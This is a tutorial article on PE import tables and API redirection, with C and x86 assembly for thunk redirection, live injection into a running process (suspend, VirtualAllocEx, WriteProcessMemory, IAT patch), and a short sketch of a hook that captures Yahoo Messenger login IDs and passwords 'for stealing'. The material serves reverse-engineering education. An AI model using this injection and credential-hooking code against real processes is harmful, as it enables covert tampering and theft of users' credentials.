This article was released on www.codeproject.com.
Description: An introduction to injection the code into Import Table of Portable Executable file format, which is called API redirection technique.
JMP
ShellAbout()
Let’s imagine we could redirect the thoroughfare of the imported function's entrances into our especial routines by manipulating the import table thunks, it could be possible to filter the demands of the importations through our routines. Furthermore, we could settle our appropriate routine by this performance, which is done by the professional Portable Executable (PE) Protectors, additionally some sort of rootkits employ this approach to embed its malicious code inside the victim by a troy horse.
In reverse engineering world, we describe it as API redirection technique, nevertheless I am not going to accompany all viewpoints in this area by source code, this article merely represents a brief aspect of this technique by a simple code. I will describe other issues in the absence of the source code; I could not release the code which is related to the commercial projects or intended to the malicious motivation, however I think this article could be used as an introduction into this topic.
The portable executable file structure consists of the MS-DOS header, the NT headers, the Sections headers and the Section images, as you observe in Figure 1. The MS-DOS header is common in all Microsoft executable file format from DOS days till Windows days. The NT headers idea was abstracted form the Executable and Linkable Format (ELF) of UNIX System, indeed the Portable Executable (PE) format is sister of the Linux Executable and Linkable Format (ELF). The PE format headers consists of the "PE" Signature, the Common Object File Format (COFF) header, the Portable Executable Optimal header and the Section headers.
ImageNtHeader()
from DbgHelp.dll. You can also employ the DOS header in order to fetch the NT headers, so the last position of the DOS header, e_lfanew
, represents the offset of the NT headers. typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;
In the Portable Executable Optional header, there are some data directories which delineate the relative location and the size of the principal information tables inside the virtual memory of the current process. These tables can hold the information of resource, import, export, relocation, debug, thread local storage, and COM runtime. It is impossible to find a PE executable file without the import table; this table contains the DLL names and the Functions names which are essential when the program tend to request them by their virtual addresses. The resource table is not found in the Console executable files; nevertheless it is vital part of the Windows executable files with Graphic User Interface (GUI). The export table is necessary when a dynamic link library inclines to export its function outside and also in OLE Active-X container. Dot NET virtual machine could not be executed unescorted by the COM+ runtime header. As you discerned, each table has especial commission in PE format, Figure 2.
Data |
0 Export Table |
1 Import Table | |
2 Resource Table | |
3 Exception Table | |
4 Certificate File | |
5 Relocation Table | |
6 Debug Data | |
7 Architecture Data | |
8 Global Ptr | |
9 Thread Local Storage Table | |
10 Load Config Table | |
11 Bound Import Table | |
12 Import Address Table | |
13 Delay Import Descriptor | |
14 COM+ Runtime Header | |
15 Reserved |
// <winnt.h>
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
// Optional header format.
typedef struct _IMAGE_OPTIONAL_HEADER {
...
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
// Directory Entries
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory
#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory
We can obtain the position and size of the import table with only two or three lines. By knowing the position of the import table, we move to the next step to retrieve the DLL names and the Function names, it will be discussed in the succeeding section.
PIMAGE_NT_HEADERS pimage_nt_headers = ImageNtHeader(pImageBase);
DWORD it_voffset = pimage_nt_headers->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
PIMAGE_DOS_HEADER pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
PIMAGE_NT_HEADERS pimage_nt_headers = (PIMAGE_NT_HEADERS)
(pImageBase + pimage_dos_header->e_lfanew);
DWORD it_voffset = pimage_nt_headers->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
The import directory entry of the import table leads us to the position of the import table inside the file image. There is a container for each imported DLL, import descriptor, which embraces the address of first thunk and the address of original first thunk, the pointer to DLL name. The First Thunk refers to the location of the first thunk, the thunks will be initialized by PE loader of Windows during running the program, Figure 5. The Original First Thunk points to the first storage of the thunks, where provide the address of the Hint data and the Function Name data for each functions, Figure 4. In the case, the First Original Thunk is not present; the First Thunks refers to where the Hint data and the Function Name data are located, Figure 3.
The import descriptor is represented with IMAGE_IMPORT_DESCRIPTOR
structures as the following definition:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD OriginalFirstThunk;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
Members
OriginalFirstThunk
It points to the first thunk,IMAGE_THUNK_DATA
, the thunk holds the address of the Hint and the Function name.TimeDateStamp
It cotains the time/data stamp if there is the binding. If it is 0, no bound in imported DLL has happened. In new days, it sets to 0xFFFFFFFF to describe the binding occurred.ForwarderChain
In old version of binding, it referees to first forwarder chain of API. It can be set 0xFFFFFFFF to describe no forwarder.Name
It shows the relative virtual address of DLL name.FirstThunk
It contains the virtual address of the first thunk arrays that is defined byIMAGE_THUNK_DATA
, the thunk is initialized by loader with function virtual address. In the absence view of the Orignal First Thunk, it points to the first thunk, the thunks of the Hints and The Function names.
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
typedef struct _IMAGE_THUNK_DATA {
union {
PDWORD Function;
PIMAGE_IMPORT_BY_NAME AddressOfData;
} u1;
} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;
These two import tables (figure 3 and figure 4) illustrate the different between import table with and without the original first thunk.
We can use Dependency Walker, Figure 6, to observe the whole information of the import table. By the way, I have provided another tool, Import Table viewer, Figure 7, with simple and similar operation. I am sure its source will help you to understand better the main representation that is done by this kind of equipments.
Here we observe a simple source which could be used to display the import DLLs and the import Functions with a console mode program. However, I think my Import Table viewer, Figure 7, has more motivation to follow the topic because of its graphic user interface.
PCHAR pThunk;
PCHAR pHintName;
DWORD dwAPIaddress;
PCHAR pDllName;
PCHAR pAPIName;
//----------------------------------------
DWORD dwImportDirectory= RVA2Offset(pImageBase, pimage_nt_headers->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//----------------------------------------
PIMAGE_IMPORT_DESCRIPTOR pimage_import_descriptor= (PIMAGE_IMPORT_DESCRIPTOR)
(pImageBase+dwImportDirectory);
//----------------------------------------
while(pimage_import_descriptor->Name!=0)
{
pThunk= pImageBase+pimage_import_descriptor->FirstThunk;
pHintName= pImageBase;
if(pimage_import_descriptor->OriginalFirstThunk!=0)
{
pHintName+= RVA2Offset(pImageBase, pimage_import_descriptor->OriginalFirstThunk);
}
else
{
pHintName+= RVA2Offset(pImageBase, pimage_import_descriptor->FirstThunk);
}
pDllName= pImageBase + RVA2Offset(pImageBase, pimage_import_descriptor->Name);
printf(" DLL Name: %s First Thunk: 0x%x", pDllName,
pimage_import_descriptor->FirstThunk);
PIMAGE_THUNK_DATA pimage_thunk_data= (PIMAGE_THUNK_DATA) pHintName;
while(pimage_thunk_data->u1.AddressOfData!=0)
{
dwAPIaddress= pimage_thunk_data->u1.AddressOfData;
if((dwAPIaddress&0x80000000)==0x80000000)
{
dwAPIaddress&= 0x7FFFFFFF;
printf("Proccess: 0x%x", dwAPIaddress);
}
else
{
pAPIName= pImageBase+RVA2Offset(pImageBase, dwAPIaddress)+2;
printf("Proccess: %s", pAPIName);
}
pThunk+= 4;
pHintName+= 4;
pimage_thunk_data++;
}
pimage_import_descriptor++;
}
We perceive all essential knowledge regarding the import table, it is the time to establish our redirection method. The algorithm is so simple, creating an extra virtual space inside the virtual memory of the current process, and generate instructions to redirect with JMP
to original function location. We can perform it by absolute jump or relative jump. You should take care in the case of the absolute jump, you can not perform simply as like as Figure 8, you should first move the virtual address to EAX
and then a jump by JMP EAX
. In pemaker6.zip, I have done a redirection by relative jump.
This PE maker was created in the consequence of my previous article [1], I suggest you to read it if you are interested to know how it works. In this version, I have modified the Import table fix up routine, as you see in the following lines, I wrote some line to generate relative JMP
instruction to the real position of the function. It is important to know, you could not perform the API redirection for all DLL modules. For instance in CALC.EXE, some thunks of MSVCRT.DLL will be accessed from inside of CALC.EXE code section during the runtime initialization, therefore it will not work in the case of the redirection.
_it_fixup_1:
push ebp
mov ebp,esp
add esp,-14h
push PAGE_READWRITE
push MEM_COMMIT
push 01D000h
push 0
call _jmp_VirtualAlloc
//NewITaddress=VirtualAlloc(NULL, 0x01D000, MEM_COMMIT, PAGE_READWRITE);
mov [ebp-04h],eax
mov ebx,[ebp+0ch]
test ebx,ebx
jz _it_fixup_1_end
mov esi,[ebp+08h]
add ebx,esi // dwImageBase + dwImportVirtualAddress
_it_fixup_1_get_lib_address_loop:
mov eax,[ebx+0ch] // image_import_descriptor.Name
test eax,eax
jz _it_fixup_1_end
mov ecx,[ebx+10h] // image_import_descriptor.FirstThunk
add ecx,esi
mov [ebp-08h],ecx // dwThunk
mov ecx,[ebx] // image_import_descriptor.Characteristics
test ecx,ecx
jnz _it_fixup_1_table
mov ecx,[ebx+10h]
_it_fixup_1_table:
add ecx,esi
mov [ebp-0ch],ecx // dwHintName
add eax,esi // image_import_descriptor.Name + dwImageBase = ModuleName
push eax // lpLibFileName
mov [ebp-10h],eax
call _jmp_LoadLibrary // LoadLibrary(lpLibFileName);
test eax,eax
jz _it_fixup_1_end
mov edi,eax
_it_fixup_1_get_proc_address_loop:
mov ecx,[ebp-0ch] // dwHintName
mov edx,[ecx] // image_thunk_data.Ordinal
test edx,edx
jz _it_fixup_1_next_module
test edx,080000000h // .IF( import by ordinal )
jz _it_fixup_1_by_name
and edx,07FFFFFFFh // get ordinal
jmp _it_fixup_1_get_addr
_it_fixup_1_by_name:
add edx,esi // image_thunk_data.Ordinal + dwImageBase = OrdinalName
inc edx
inc edx // OrdinalName.Name
_it_fixup_1_get_addr:
push edx // lpProcName
push edi // hModule
call _jmp_GetProcAddress // GetProcAddress(hModule, lpProcName);
mov [ebp-14h],eax //_p_dwAPIaddress
//================================================================
// Redirection Engine
push edi
push esi
push ebx
mov ebx,[ebp-10h]
push ebx
push ebx
call _char_upper
mov esi,[ebp-10h]
mov edi,[ebp+010h]
_it_fixup_1_check_dll_redirected:
push edi
call __strlen
add esp, 4
mov ebx,eax
mov ecx,eax
push edi
push esi
repe cmps
jz _it_fixup_1_do_normal_it_0
pop esi
pop edi
add edi,ebx
cmp byte ptr [edi],0
jnz _it_fixup_1_check_dll_redirected
mov ecx,[ebp-08h]
mov eax,[ebp-014h]
mov [ecx],eax
jmp _it_fixup_1_do_normal_it_1
_it_fixup_1_do_normal_it_0:
pop esi
pop edi
mov edi,[ebp-04h]
mov byte ptr [edi], 0e9h // JMP Instruction
mov eax,[ebp-14h]
sub eax, edi
sub eax, 05h
mov [edi+1],eax // Relative JMP value
mov word ptr [edi+05], 0c08bh
mov ecx,[ebp-08h]
mov [ecx],edi // -> Thunk
add dword ptr [ebp-04h],07h
_it_fixup_1_do_normal_it_1:
pop ebx
pop esi
pop edi
//================================================================
add dword ptr [ebp-08h],004h // dwThunk => next dwThunk
add dword ptr [ebp-0ch],004h // dwHintName => next dwHintName
jmp _it_fixup_1_get_proc_address_loop
_it_fixup_1_next_module:
add ebx,014h // sizeof(IMAGE_IMPORT_DESCRIPTOR)
jmp _it_fixup_1_get_lib_address_loop
_it_fixup_1_end:
mov esp,ebp
pop ebp
ret 0ch
Do not think the API redirection is discharged with this simple method in professional EXE protectors; they have an x86 instruction generator engine which is used to create the code for redirection purpose. Some time this engine is accompanied with metamorphism engine, that makes them extremely complicated to analyze.
The preceding code works according to the succeeding algorithm:
Create a separated space to store the generated instructions by VirtualAlloc()
.
Find the function virtual address by LoadLibrary()
and GerProcAddress()
.
Check if DLL name is match with valid DLL list. In this example, we recognize KERNEL32.DLL, USER32.DLL, GDI32.DLL, ADVAPI32.DLL,and SHELL32.DLL as valid DLL name to be redirect.
If DLL name is valid, go to redirect routine, otherwise initialize the thunk with the original function virtual address.
To redirect API, generate the JMP
(0xE9) instruction , calculate the relative position of the function position in order to establish a relative jump.
Store the generated instructions inside the separated space, and refer the thunk to the first position of these instructions.
Continue this routine for other the Functions and the DLLs.
If you implement this performance on CALC.EXE, and trace it by OllyDbg or a similar user mode debugger, you will perceive this code generated a view as similar as the following view:
008E0000 - E9 E6F8177C JMP SHELL32.ShellAboutW
008E0005 8BC0 MOV EAX,EAX
008E0007 - E9 0F764F77 JMP ADVAPI32.RegOpenKeyExA
008E000C 8BC0 MOV EAX,EAX
008E000E - E9 70784F77 JMP ADVAPI32.RegQueryValueExA
008E0013 8BC0 MOV EAX,EAX
008E0015 - E9 D66B4F77 JMP ADVAPI32.RegCloseKey
008E001A 8BC0 MOV EAX,EAX
008E001C - E9 08B5F27B JMP kernel32.GetModuleHandleA
008E0021 8BC0 MOV EAX,EAX
008E0023 - E9 4F1DF27B JMP kernel32.LoadLibraryA
008E0028 8BC0 MOV EAX,EAX
008E002A - E9 F9ABF27B JMP kernel32.GetProcAddress
008E002F 8BC0 MOV EAX,EAX
008E0031 - E9 1AE4F77B JMP kernel32.LocalCompact
008E0036 8BC0 MOV EAX,EAX
008E0038 - E9 F0FEF27B JMP kernel32.GlobalAlloc
008E003D 8BC0 MOV EAX,EAX
008E003F - E9 EBFDF27B JMP kernel32.GlobalFree
008E0044 8BC0 MOV EAX,EAX
008E0046 - E9 7E25F37B JMP kernel32.GlobalReAlloc
008E004B 8BC0 MOV EAX,EAX
008E004D - E9 07A8F27B JMP kernel32.lstrcmpW
008E0052 8BC0 MOV EAX,EAX
For your homework, you can practise to change the PE Maker source with the absolute jump instruction by this code:
008E0000 - B8 EBF8A57C MOV EAX,7CA5F8EBh // address of SHELL32.ShellAboutW
008E0005 FFE0 JMP EAX
This time, I want to change the function of an API by this technique. I am not sure if we can call it again API redirection. In this sample, I redirect the ShellAbout()
dialog of CALC.EXE to my "Hello World!" message box in pemaker7.zip. You will see how easy it is implemented by a few change in the foregoing code:
...
//================================================================
push edi
push esi
push ebx
mov ebx,[ebp-10h]
push ebx
push ebx
call _char_upper
mov esi,[ebp-10h]
mov edi,[ebp+010h] // [ebp+_p_szShell32]
_it_fixup_1_check_dll_redirected:
push edi
call __strlen
add esp, 4
mov ebx,eax
mov ecx,eax
push edi
push esi
repe cmps //byte ptr [edi], byte ptr [esi]
jz _it_fixup_1_check_func_name
jmp _it_fixup_1_no_check_func_name
_it_fixup_1_check_func_name:
mov edi,[ebp+014h] // [ebp+_p_szShellAbout]
push edi
call __strlen
add esp, 4
mov ecx,eax
mov esi,[ebp-18h]
mov edi,[ebp+014h] // [ebp+_p_szShellAbout]
repe cmps //byte ptr [edi], byte ptr [esi]
jz _it_fixup_1_do_normal_it_0
_it_fixup_1_no_check_func_name:
pop esi
pop edi
add edi,ebx
cmp byte ptr [edi],0
jnz _it_fixup_1_check_dll_redirected
mov ecx,[ebp-08h]
mov eax,[ebp-014h]
mov [ecx],eax
jmp _it_fixup_1_do_normal_it_1
_it_fixup_1_do_normal_it_0:
pop esi
pop edi
mov ecx,[ebp-08h]
mov edi,[ebp+18h]
mov [ecx],edi // move address of new function to the thunk
_it_fixup_1_do_normal_it_1:
pop ebx
pop esi
pop edi
//================================================================
...
I summarize this routine successively:
Check if DLL name is "Shell32.DLL"
.
Check if Function name is "ShellAboutW"
.
If condition 1 and 2 are true, redirect the thunk of ShellAbout()
to new function.
This new function is a simple message box:
_ShellAbout_NewCode:
_local_0:
pushad // save the registers context in stack
call _local_1
_local_1:
pop ebp
sub ebp,offset _local_1 // get base ebp
push MB_OK | MB_ICONINFORMATION
lea eax,[ebp+_p_szCaption]
push eax
lea eax,[ebp+_p_szText]
push eax
push NULL
call _jmp_MessageBox
// MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
popad // restore the first registers context from stack
ret 10h
When you plan to replace an API with a new function, you should consider some important notes:
ADD ESP,xxx
or RET xxx
.
EAX
by capturing and restoring them with PUSHAD
and POPAD
. As you see, I have employed the PUSHAD
and POPAD
to reclaim the thread registers. For this case, ShellAbout()
, it has 4 DWORD
memebers so the stack point is increased 0x10 while returning.
After redirecting ShellAbout()
, you can try About Calculator menu item form Help menu, you will see what it has done on target CALC.EXE.
The EXE protectors manipulate the target in this way; they establish the redirection to their extra memory space, the next section will talk about.
JMP
, it certainly will be reconstructed with this tool, nevertheless if we encrypt the Function name and bundle it with polymorphism code inside the memory, it will be befogged to retrieve the correct import table. We present our EXE protector according to this technique, Native Security Engine [6] is a packer which follow this way. It has an x86 code generator plus a metamorphism engine, both of them help to establish a complex redirection structure.
The Figure 11 illustrates the main strategy of the import protection in EXE protectors. Some of them employ the redirection to virtual Win32 libraries. For instance, they have the virtual libraries for Kernel32, User32, and AdvApi32. They use their own libraries to prevent from hacking or to install their Virtual Machine.
It is achievable to cut off the access to outside by this technique. As you see, MoleBox behaves the same, it filters FindFirstFile()
and FindNextFile()
in order to merge TEXT files and JPEG files inside the packed file. When the program tend to find a file form hard disk, it will be redirected to memory.
Now I want to discuss ones more. This topic is certainly interesting for the people, who attend to understand the maneuver of the user level (ring-3) rootkits [7] on Windows System. First and finally question, how it is obtainable to inject to import table of a runtime process, this section will answer to this question. We want to inject to a runtime process and modify it. If you remember, in one of my previous articles [2], I established a Windows Spy to capture Windows Class properties and modify them runtime. This time, I will move near to rewrite the memory and redirect import table from outside.
By using WindowFromPoint()
we can obtain the window handle of a special point, GetWindowThreadProcessId()
aids us to know the process ID and the thread ID of this window handle.
POINT point;
HWND hWindowUnderTheMouse = WindowFromPoint(point);
DWORD dwProcessId;
DWORD dwThreadId;
dwThreadId=GetWindowThreadProcessId(hSeekedWindow, &dwProcessId);
The process handle and the thread are acquired by OpenProcess()
and OpenThread()
. But there is no OpenThread()
in Windows 98! Do not worry, try to find RT library by EliCZ’, a library to emulate OpenThread()
, CreateRemoteThread()
, VirtualAllocEX()
, and VirtualFreeEx()
inside Windows 98.
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId );
HANDLE hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, dwThreadId);
To start to manipulate the process memory, we should first freeze the process by suspending the main thread.
SuspendThread(hThread);
The Thread Environment Block (TEB) location can be obtained by FS:[18]
which we do not have access to it! so GetThreadContext()
and GetThreadSelectorEntry()
help us to know the base value of FS segment.
CONTEXT Context;
LDT_ENTRY SelEntry;
Context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread,&Context);
// Calculate the base address of FS
GetThreadSelectorEntry(hThread, Context.SegFs, &SelEntry);
DWORD dwFSBase = ( SelEntry.HighWord.Bits.BaseHi << 24) |
(SelEntry.HighWord.Bits.BaseMid << 16) |
SelEntry.BaseLow;
The Thread Environment Block (TEB) is obtained by reading from its position inside the virtual memory of the target process. The thread and process environment blocks, Figure 12, has been explained enough in "Undocumented Windows 2000 secrets" [4], moreover the NTInternals team [5] presents the complete definition of TEB and FEB. As I guess, Microsoft team has forgotten to offer information about them or do not attent to make them public! This is the reason I like Linux team :)
PTEB pteb = new TEB;
PPEB ppeb = new PEB;
DWORD dwBytes;
ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, pteb, sizeof(TEB), &dwBytes);
ReadProcessMemory( hProcess, (LPCVOID)pteb->Peb, ppeb, sizeof(PEB), &dwBytes);
The image base of portable executable image inside the current process memory is found from the process environment block information.
DWORD dwImageBase = (DWORD)ppeb->ImageBaseAddress;
ReadProcessMemory()
helps us to read the entire image of the portable executable file.
PIMAGE_DOS_HEADER pimage_dos_header = new IMAGE_DOS_HEADER;
PIMAGE_NT_HEADERS pimage_nt_headers = new IMAGE_NT_HEADERS;
ReadProcessMemory( hProcess,
(LPCVOID)dwImageBase,
pimage_dos_header,
sizeof(IMAGE_DOS_HEADER),
&dwBytes);
ReadProcessMemory( hProcess,
(LPCVOID)(dwImageBase+pimage_dos_header->e_lfanew),
pimage_nt_headers, sizeof(IMAGE_NT_HEADERS),
&dwBytes);
PCHAR pMem = (PCHAR)GlobalAlloc(
GMEM_FIXED | GMEM_ZEROINIT,
pimage_nt_headers->OptionalHeader.SizeOfImage);
ReadProcessMemory( hProcess,
(LPCVOID)(dwImageBase),
pMem,
pimage_nt_headers->OptionalHeader.SizeOfImage,
&dwBytes);
We watch at the DLL names and the thunk values to find our target and to redirect it. In this example, the DLL name is Shell32.dll and the thunk is the virtual address of ShellAbout()
.
HMODULE hModule = LoadLibrary("Shell32.dll");
DWORD dwShellAbout= (DWORD)GetProcAddress(hModule, "ShellAboutW");
DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
hProcess,
NULL,
0x01D000,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
RedirectAPI(pMem, dwShellAbout, dwRedirectMem);
...
int RedirectAPI(PCHAR pMem, DWORD API_voffset, DWORD NEW_voffset)
{
PCHAR pThunk;
PCHAR pHintName;
DWORD dwAPIaddress;
PCHAR pDllName;
DWORD dwImportDirectory;
DWORD dwAPI;
PCHAR pImageBase = pMem;
//----------------------------------------
PIMAGE_IMPORT_DESCRIPTOR pimage_import_descriptor;
PIMAGE_THUNK_DATA pimage_thunk_data;
//----------------------------------------
PIMAGE_DOS_HEADER pimage_dos_header;
PIMAGE_NT_HEADERS pimage_nt_headers;
pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
pimage_nt_headers = (PIMAGE_NT_HEADERS)(pImageBase+pimage_dos_header->e_lfanew);
//----------------------------------------
dwImportDirectory=pimage_nt_headers->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if(dwImportDirectory==0)
{
return -1;
}
//----------------------------------------
pimage_import_descriptor=(PIMAGE_IMPORT_DESCRIPTOR)(pImageBase+dwImportDirectory);
//----------------------------------------
while(pimage_import_descriptor->Name!=0)
{
pThunk=pImageBase+pimage_import_descriptor->FirstThunk;
pHintName=pImageBase;
if(pimage_import_descriptor->OriginalFirstThunk!=0)
{
pHintName+=pimage_import_descriptor->OriginalFirstThunk;
}
else
{
pHintName+=pimage_import_descriptor->FirstThunk;
}
pDllName=pImageBase+pimage_import_descriptor->Name;
StrUpper(pDllName);
if(strcmp(pDllName,"SHELL32.DLL")==0)
{
pimage_thunk_data=PIMAGE_THUNK_DATA(pHintName);
while(pimage_thunk_data->u1.AddressOfData!=0)
{
//----------------------------------------
memcpy(&dwAPI, pThunk, 4);
if(dwAPI==API_voffset)
{
memcpy(pThunk, &NEW_voffset, 4);
return 0;
}
//----------------------------------------
pThunk+=4;
pHintName+=4;
pimage_thunk_data++;
}
}
pimage_import_descriptor++;
}
//----------------------------------------
return -1;
}
An extra memory for the redirection purpose is created by VirtualProtectEx()
. We will generate the code and write it inside the new spare space.
DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
hProcess,
NULL,
0x01D000,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
...
PCHAR pLdr;
DWORD Ldr_rsize;
GetLdrCode(pLdr, Ldr_rsize);
WriteProcessMemory( hProcess,
(LPVOID)(dwRedirectMem),
pLdr,
Ldr_rsize,
&dwBytes);
The loader is written on the extra memory. It holds the code to show a sample message box.
void GetLdrCode(PCHAR &pLdr, DWORD &rsize)
{
HMODULE hModule;
DWORD dwMessageBox;
PCHAR ch_temp;
DWORD dwCodeSize;
ch_temp=(PCHAR)DWORD(ReturnToBytePtr(DynLoader, DYN_LOADER_START_MAGIC))+4;
dwCodeSize=DWORD(ReturnToBytePtr(DynLoader, DYN_LOADER_END_MAGIC))-DWORD(ch_temp);
rsize= dwCodeSize;
pLdr = (PCHAR)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, dwCodeSize);
memcpy(pLdr, ch_temp, dwCodeSize);
ch_temp=(PCHAR)ReturnToBytePtr(pLdr, DYN_LOADER_START_DATA1);
hModule = LoadLibrary("User32.dll");
dwMessageBox= (DWORD)GetProcAddress(hModule, "MessageBoxA");
memcpy(ch_temp+4, &dwMessageBox, 4);
}
...
_ShellAbout_NewCode:
_local_0:
pushad // save the registers context in stack
call _local_1
_local_1:
pop ebp
sub ebp,offset _local_1// get base ebp
push MB_OK | MB_ICONINFORMATION
lea eax,[ebp+_p_szCaption]
push eax
lea eax,[ebp+_p_szText]
push eax
push NULL
mov eax, [ebp+_p_MessageBox]
call eax
// MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
popad // restore the first registers context from stack
ret 10h
...
The executable image is written on memory after modification. Do not forget to set full access on memory in front of writing.
VirtualProtectEx( hProcess,
(LPVOID)(dwImageBase),
pimage_nt_headers->OptionalHeader.SizeOfImage,
PAGE_EXECUTE_READWRITE,
&OldProtect);
WriteProcessMemory( hProcess,
(LPVOID)(dwImageBase),
pMem,
pimage_nt_headers->OptionalHeader.SizeOfImage,
&dwBytes);
VirtualProtectEx()
sets the page access to PAGE_EXECUTE_READWRITE
protection type. It is necessary to have PAGE_READWRITE
access when WriteProcessMemory
is used and PAGE_EXECUTE
in the case of executable page.
Now the process is ready to unfreeze and the life will start again, but what happens. Try the about menu item you will see, Figure 13, this is the first aspect of the injection life!
ResumeThread(hThread);
I am thinking about injection to other API thunks, as well we can upload other dynamic link library in target process to redirect the victim thunk to it, that has been explained completely in another article [3]. The Next section discusses a bit about one of the disasters which come as a consequent of this performance. You can imagine by yourself other possible tsunamis.
I explain the practicable steps to write a Yahoo Messenger hooker:
Obtain the Yahoo Messenger handle with its class name by using FindWindow()
.
HWND hWnd = FindWindow("YahooBuddyMain", NULL);
GetDlgItemText()
to filter its members. UINT GetDlgItemText( HWND hDlg,
int nIDDlgItem,
LPTSTR lpString,
int nMaxCount);
Compare the dialog item ID, nIDDlgItem
, with the specific ID to detect which item currently is in use. If the ID is found, hook the string with original GetDlgItemText()
.
CHAR pYahooID[127];
CHAR pPassword[127];
switch(nIDDlgItem)
{
case 211: // Yahoo ID
GetDlgItemText(hDlg, nIDDlgItem, pYahooID, 127); // for stealing
// ...
GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
break;
case 212: // Password
GetDlgItemText(hDlg, nIDDlgItem, pPassword, 127); // for stealing
// ...
GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
break;
default:
GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
}
Now I believe there is no safety totally. Someone can steal my Yahoo ID and its password with a few piece of code. We live on the insecure world!
The Import Table is essential part of a Windows executable file. The knowledge of the import table performance helps us to realize how API is requested during runtime. You can redirect the import table to another executable memory inside the current process memory to prevent from reverse activity with your own PE loader and also to hook the API functions. It is possible to modify the import table of a process in runtime by freezing and unfreezing the process from outside, this disaster forces us to think more concerning security equipments, for instance antivirus, firewall, and etc; nevertheless they do not have any benefit again the new methods which every days appear on the world. Moreover, this conception aids us to establish our virtual machine monitor to run the Windows executable file inside a separated environment inside Windows or Linux, consequently I do not need Windows System anymore to run my Windows EXE files!
Read more:
Documents:
Links:
Ashkbiz Danehkar